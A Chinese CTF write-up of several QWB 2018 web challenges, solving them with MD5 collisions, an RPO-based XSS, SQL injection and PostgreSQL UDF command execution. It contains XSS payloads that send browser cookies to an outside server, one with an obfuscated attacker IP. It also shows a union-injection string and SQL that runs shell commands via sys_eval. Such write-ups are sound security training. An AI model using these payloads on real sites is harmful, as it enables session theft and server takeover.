强网杯CTF 2018 部分Web writeup

Web签到

http://39.107.33.96:10000
分为三关,具体的提示在源码中:

# 1
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){					die("success!");
# 2
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
# 3
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}

第三关是MD5碰撞。使用工具跑出来一个即可(URLencode)。
如:
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

Share your mind

http://39.107.33.96:20000
这个题算是这次做的收获比较大的题目了。
打开页面后使用test test登录,发现浏览信息界面,发信息的界面和一个提交界面,测试后发现发表的消息实体化了<>'"等字符,无法直接xss,想着写个xss然后提交到report的想法落空了。
之后发现index界面有个相对路径的js,尝试http://39.107.33.96:20000/index.php/view/123/123,发现console里的js获取路径变了,内容也变为了view界面的内容,尝试加入..%2f,发现http://39.107.33.96:20000/index.php/view/article/1025/..%2f..%2f..%2f..%2findex.php中消息被当作js,应该是RPO攻击了。
之后便是构造xss反弹cookie。
发送消息:
window.location.href= String.fromCharCode(104,116,116,112,58,47,47,49,50,51,46,50,48,54,46,52,53,46,54,57,58,56,57,57,57,63,97,61) + document.cookie;
在vps上搭建一个界面

<iframe src='http://39.107.33.96:20000/index.php/view/article/1052/..%2f..%2f..%2f..%2findex.php'></iframe>

在report中利用@绕过域名检测http://39.107.33.96:20000@xxx/test.htm
在vps上收到了消息:

hint提到cookie在另一个目录下,需要获取子目录的cookie。
在post消息的时候一直没有收到弹回来的请求,最后本地测试发现js并没有执行,console中报错<,因为标题非空时自动添加了h1标签。

此处引用了两位师傅的payload。

### 1
<img src='http://39.107.33.96:20000/QWB_fl4g/QWB/index.php'>
<iframe src='http://39.107.33.96:20000/QWB_fl4g/QWB/index.php/..%2f..%2f../index.php/view/article/17776/..%2f..%2f..%2f..%2findex.php'></iframe>

测试的时候发现如果不加img标签,则返回的cookie没有QWB目录下的,iframe中src不包含QWB目录时,同样没有完整的cookie。

### 2  字符串需要使用String.fromCharCode重写
var iframe = document.createElement("iframe");
iframe.src = "/QWB_f14g/QWB";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
  	var c = document.getElementById('frame').contentWindow.document.cookie;
	var n0t = document.createElement("link");
	n0t.setAttribute("rel", "prefetch");
	n0t.setAttribute("href", "//xxx/?" + c);
	document.head.appendChild(n0t);
}

Three hit

http://39.107.32.29:10000
在index.php发现了源码。

<?php
session_start();
include("config.php");
if($_GET['func']=="register"){
 if(isset($_POST['username'])&&isset($_POST['password'])&&isset($_POST['age'])){
        if(!is_numeric($_POST['age'])){
            Hacker("The age should be a number");
        }
        $username=Filter($_POST['username']);
        $password=md5($_POST['password']);
        $age=$_POST['age'];
        $sql="insert into `users`(`username`,`password`,`age`) values('$username','$password',$age)";
        if(!mysql_query($sql))
            Hacker("Username has been registered!");
        else{
            header("Location:index.php");
            echo "<script>alert('Register successful!')</script>";
            exit();
        }
    }
}
if($_GET['func']=="login"){
    if(isset($_POST['username'])&&isset($_POST['password'])){
        $username=Filter($_POST['username']);
        $password=md5($_POST['password']);
        $sql="SELECT * FROM `users` WHERE `username`='$username' and `password`='$password' LIMIT 1";
        if ($res=mysql_query($sql)){
            $data = mysql_fetch_array($res);
            var_dump($data);
            $_SESSION['login']=1;
            $_SESSION['user']=$data;
            header('Location:profile.php');
            exit();
        }
        else {
            Hacker("User is not exists!");
        }

看了注册和登录加了限制,无法绕过。后来发现做的人很多,而且age和username会出现在profile中,想到了age用十六进制进行注入,绕过is_numric。
首先直接在insert内注入,即values('','',select user()),然而无法带入查询。
根据profile界面,有人和注册的age相同,会输出username。猜测存在一个sql语句,类似于select username from xxx where age= $session[age],加order by验证,不含引号,四列。根据vardump结果匹配为id,username,pass,age,我们需要的在第二位置。
构造类似union select 1,2,3,4,因为可能存在相同的age,使用了同一个age,加上limit 1,1。
number union select 1,user(),3,4 limit 1,1#可得到qwb@localhost。
flag在qwb,flag,flag中。

彩蛋

postsqlgre udf
引用师傅的一句话:

这道题看上去是shiro的RCE,但实际上在构造反序列化的gadgets时,不能用commoncollections,只能用JRMPclient,听大佬说这是orange怼出来的。因此,github上的shiro的利用,所使用的反序列化的攻击payload大多是不正确的,这个坑点只有本地搭建起来用eclipse调试了才知道。

nmap扫描我们发现postgresql暴露在外网,user和pass也在docker文件中。
LoRexxar师傅使用其他人传的so

CREATE OR REPLACE FUNCTION sys_eval()  RETURNS text AS  './udf.so' LANGUAGE C STRICT;
select sys_eval('cat /flag_is_here');

haozi在wp使用了github上sqlmap的一个叫udf的project,下载后在phrackCTF的docker上进行编译(sqlmap提供的so文件最新的也只是9.4的),然后将其导出为hex。

python1
class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')
    def Add(self, tablename, values):
        sql = "insert into " + tablename + " "
        sql += "values ("
        sql += "".join(i + "," for i in values)[:-1]
        sql += ")"
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

没有任何过滤
insert注入。

总结

两天比赛感觉划船有点久,每道题都有卡住的地方。python更应该多看一看,有勇气接触新的内容;RPO从未接触过,也学到了新的姿势,之后也会总结一下,加深理解。
https://paper.seebug.org/493/
http://www.zjicmisa.org/index.php/archives/127/
http://blog.nsfocus.net/rpo-attack/

作者:xmsec
Lancet成员,很菜却在努力。
GitHub